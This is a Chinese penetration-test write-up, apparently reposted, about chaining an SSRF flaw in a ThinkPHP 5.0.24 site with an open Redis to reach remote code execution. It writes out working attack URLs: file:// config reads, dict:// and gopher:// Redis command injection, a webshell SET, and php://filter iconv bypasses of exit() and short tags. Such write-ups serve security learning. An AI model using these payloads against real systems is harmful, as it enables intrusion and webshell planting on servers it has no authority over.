一次“SSRF-->RCE”的艱難利用


前言

一次授權的滲透測試中,發現一處SSRF漏洞,可結合Redis實現RCE,看似近在咫尺,卻又滿路荊棘,經過不懈努力,最終達成目的。其中有幾處比較有意思的地方,抽象出來與大家分享。

發現SSRF

目標站點使用ThinkPHP5框架開發,互聯網可直接下載源代碼,通過代碼審計發現一處SSRF漏洞,代碼如下所示:

public function httpGet($url=""){
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_TIMEOUT, 8); //curl_setopt($curl, CURLOPT_TIMEOUT_MS, 1); curl_setopt($curl, CURLOPT_URL, $url);
$res = curl_exec($curl); curl_close($curl);
return $res; }

利用SSRF漏洞讀取ThinkPHP5配置文件:http://domain.com/public/index.php?s=index/test/httpget&url=file:////var/www/html/tp_5.0.24/application/config.php

 

如上圖所示,目標業務系統采用Redis緩存數據,且密碼為空。

利用gopher協議嘗試獲取info信息:

http://domain.com/public/index.php?s=index/test/httpget&url=gopher://127.0.0.1:6379/_info

發現無回顯,一段時間后500錯誤,疑似連接上后超時退出,原因不明(后期復盤時推測為疑似開啟了php短標簽導致語法錯誤)

嘗試利用dict協議,成功獲取Redis的info信息

http://domain.com/public/index.php?s=index/test/httpget&url=dict://127.0.0.1:6379/info

嘗試Redis 寫Shell

上述信息中顯示,Redis服務的PID 為3517,查看/proc/3517/status文件。

其Redis服務用戶權限為Redis

而目標Web服務器為Nginx,其用戶權限為www-data,故利用Redis寫shell,執行flushall操作后可能無法直接還原數據,需要通過本地提權獲得ROOT用戶。由於存在不確定性,故對於本次滲透測試場景下此方法不可取。

利用Redis dbfilename寫shell過程發現寫入后門時

 dict://127.0.0.1:6379/set d '<?php phpinfo();?>'

無法使用“?”符號,如下圖所示

翻閱Redis文檔,發現可以使用bitop命令

bitop知識相關鏈接地址為:https://redis.io/commands/bitop,該命令可以對Redis緩存值按位計算並獲取結果保存,如下圖所示:

執行save操作后訪問目標發現回顯500錯誤,猜測原因可能如下:

  • 目標redis數據過大(目標存在10w+ keys),導致超過PHP 執行文件大小;

  • 可能是數據中存在與PHP代碼相似數據,解析出現語法錯誤,導致無法執行。

嘗利用ThinkPHP反序列化

查看ThinkPHP的Redis的獲取數據代碼,發現如果值以think_serialize:開頭就可以觸發反序列化。

目標ThinkPHP的版本為 5.0.24,該版本存在已知反序列化寫文件漏洞,相關漏洞細節鏈接:http://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/。采用該鏈接中的漏洞利用代碼,直接生成的反序列化數據如下(數據前加上了think_serialize:)

測試發現由於反序列化數據流中存在\x00,導致程序報錯,如下圖所示:

測試發現反序列化數據流中存在“ : ” 符號,dict協議無法傳輸。

結合bitop not命令,先對數據進行取反,進入redis后,再取反,得到真正的反序列化數據。過程下圖所示。

至此,只要訪問代碼中觸發緩存的點即可觸發ThinkPHP5反序列化。

修改反序列化利用代碼

ThinkPHP反序列化漏洞最終的寫入點為

file_put_contents($a,'<?php exit();'.$a)

需要使用php://filter協議來繞過,原有漏洞利用代碼:

php://filter/write=string.rot13/resource=xx<?php使用的rot13反轉,雖然繞過了exit();但是會導致輸出文件出現<?cur 如下圖所示

經測試目標返回500,推測是開啟了php短標簽導致語法錯誤,這估計也是前面Redis寫shell出現 500狀態碼的原因。

經過大量嘗試,最終發現使用php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=abcdiconv.UCS-4LE.UCS-4BE 函數會將目標4位一反轉,從而繞過短標簽。

但測試發現目標關鍵文件始終為空,而本地卻可以生成。測試使用寫入數據為aaaa仍為空。圖為本地生成的關鍵文件

猜測目標開啟了php strict模式,關鍵文件的總字符數不能被4整除(除后余2,如果添加2字符,則寫入數據不能正常顯示為shell)導致寫入為空。

最后嘗試php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=xxxx成功getshell。iconv.UCS-2LE.UCS-2BE為2位一反轉。

gopher協議再驗證

重新測試gopher協議。最后發現gopher協議會自動url解碼一次。

通過nc 對比gopher和dict協議后發現,dict會自動加上quit命令 XD

於是成功讓gopher有回顯,url=gopher://127.0.0.1:6379/_set key aa%253abbcc%250d%250aquit如下圖所示:

但是使用url=gopher://127.0.0.1:6379/_set key aa%2500bbcc%250d%250aquit時,仍然超時,猜測可能被截斷,但是對比nc數據包發現和發送數據一致。

嘗試將數據包直接導入redis

發現並沒有修改成功,嘗試導入redis-cli

修改成aa?那么真相只有一個 -> 我是菜雞

redis-cli 的命令會被轉化。如下圖所示:

於是使用如上圖的方式即可傳入\x00字符:

url=gopher://127.0.0.1:6379/_*3%250d%250a$3%250d%250aset%250d%250a$3%250d%250akey%250d%250a$4%250d%250aaa%2500a%250d%250aquit

其他

經測試也可以使用 Redis bitfield命令(相關命令說明鏈接:https://redis.io/commands/bitfield)來快速設置字符:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM